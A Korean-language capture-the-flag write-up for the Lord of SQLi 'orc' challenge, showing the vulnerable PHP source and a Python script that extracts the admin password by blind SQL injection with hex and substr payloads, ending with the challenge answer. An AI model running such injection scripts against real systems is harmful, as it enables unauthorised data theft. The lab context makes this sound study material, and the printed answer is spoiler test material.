728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); //pw를 get으로 입력받고 있음. 'prob', '_', '.' '()'를 대소문자 구분없이 필터링.
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>"; //쿼리 실행 결과 id가 존재하면 Hello admin 출력. 즉 Hello admin으로 쿼리의 참 거짓을 알 수 있음. 따라서 Blind SQL Injection 사용.
$_GET[pw] = addslashes($_GET[pw]); //이 함수를 쓰면 single quote('), double quote("), 백슬래쉬(\), NULL 문자가 포함되어 있다면 해당 문자 앞에 역슬래시(\)를 추가하여 이스케이핑 처리함. SQL Injection이 어려워짐.
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); //addslashes 적용한 pw와 쿼리 실행 결과 pw가 같다면 통과
highlight_file(__FILE__);
?>
addslashes 함수는 ',",\,nul byte 앞에 \를 붙여 이스케이프 처리한다.
이스케이프 처리 되면 기존의 기능을 잃고 문자 그 자체의 기능을 한다.
addslashes 사용 전에 비밀번호를 알아내야 한다.
id가 존재하면 Hello admin을 출력한다는 사실을 기반으로 Blind SQL Injection을 수행한다.
import requests
url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#16
def find_pw_len():
pw_len=1
while True:
r=requests.get(url+"?pw=' or id='admin' and length(hex(pw))={}%23".format(pw_len),cookies=cookie)
if 'Hello admin' in r.text:
return pw_len
else:
pw_len+=1
#095a9852
def find_pw():
pw_len=find_pw_len()
tmp=''
for i in range(1,pw_len+1):
for j in HEX:
r=requests.get(url+"?pw=' or id='admin' and substr(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
if 'Hello admin' in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_pw()
답: ?pw=095a9852
728x90